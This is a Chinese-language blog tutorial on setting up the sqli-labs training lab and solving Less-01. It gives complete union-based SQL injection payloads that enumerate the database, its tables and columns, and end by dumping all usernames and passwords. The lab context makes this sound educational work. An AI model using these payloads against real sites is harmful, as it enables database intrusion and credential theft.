sqli-labs环境搭建及复现

目录

一.环境搭建

1.phpstudy下载

2.下载sqli-labs

3.对sqli-labs初始化文件进行配置

4.安装并使用5.xxx版本,实测7.xxx版本无法使用

5,点击修改,设置如下

6.设置完成后打开浏览器,输入网址

​编辑

7.点击上图Setup/reset Database for labs即可配置数据库 

​编辑

二.开始闯关

less-01:

1.?id=1查看注入

 2.输入?id=1' order by 1--+查找:

3.输入?id=-1' union select 1,2,3--+

5.输入?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+

6.输入?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

7.输入?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+

8.输入?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+


一.环境搭建

1.phpstudy下载

小皮面板(phpstudy) - 让天下没有难配的服务器环境!

安装完后打开软件,开启nginx和mysql

sqli-labs环境搭建及复现_第1张图片

2.下载sqli-labs

https://github.com/Audi-1/sqli-labs

将下载好的sqli-labs靶场将压缩文件解压至phpstudy的www目录下

sqli-labs环境搭建及复现_第2张图片

3.对sqli-labs初始化文件进行配置

路径如图

sqli-labs环境搭建及复现_第3张图片

密码自行设置

sqli-labs环境搭建及复现_第4张图片

4.安装并使用5.xxx版本,实测7.xxx版本无法使用

sqli-labs环境搭建及复现_第5张图片

sqli-labs环境搭建及复现_第6张图片

5,点击修改,设置如下

sqli-labs环境搭建及复现_第7张图片

sqli-labs环境搭建及复现_第8张图片

6.设置完成后打开浏览器,输入网址

sqli-labs环境搭建及复现_第9张图片

7.点击上图Setup/reset Database for labs即可配置数据库 

成功如下

sqli-labs环境搭建及复现_第10张图片

sqli-labs环境搭建及复现_第11张图片

二.开始闯关

less-01:

1.?id=1查看注入

sqli-labs环境搭建及复现_第12张图片

sqli-labs环境搭建及复现_第13张图片

 2.输入?id=1' order by 1--+查找:

出现用户名和密码。

sqli-labs环境搭建及复现_第14张图片

继续输入 order by 2--+,order by 3--+,当输入 order by 4--+时:

出现报错,说明数据库只有三列

sqli-labs环境搭建及复现_第15张图片

3.输入?id=-1' union select 1,2,3--+

来判断三列数据的回显点,用1,2,3来标记:

sqli-labs环境搭建及复现_第16张图片

4.输入?id=-1' union select 1,2,database()--+在3回显点处输出当前数据库名:

sqli-labs环境搭建及复现_第17张图片

5.输入?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+

查看位于security库下的第一个表:

sqli-labs环境搭建及复现_第18张图片

 通过limit x,1可以一个一个查看表名,也可使用函数将数据一起输出:

concat()函数用于将多个字符串连接成一个字符串。

语法及使用特点: concat(str1,str2,…)

group_cincat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。

6.输入?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查看库中所有的表:

sqli-labs环境搭建及复现_第19张图片

7.输入?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+

查看user表中的第一个列:

sqli-labs环境搭建及复现_第20张图片

同上运用函数可输出所有的列:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

sqli-labs环境搭建及复现_第21张图片

8.输入?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+

查看一个账号和密码以“~”隔开

sqli-labs环境搭建及复现_第22张图片

concat_ws()函数指定参数之间的分隔符

使用语法为:concat_ws(separator,str1,str2,…)

 结合函数可得到所有账号和密码:

?id=-1' union select 1,2,group_concat(concat_ws('~',username,password) )from security.users--+

sqli-labs环境搭建及复现_第23张图片

你可能感兴趣的:(数据库)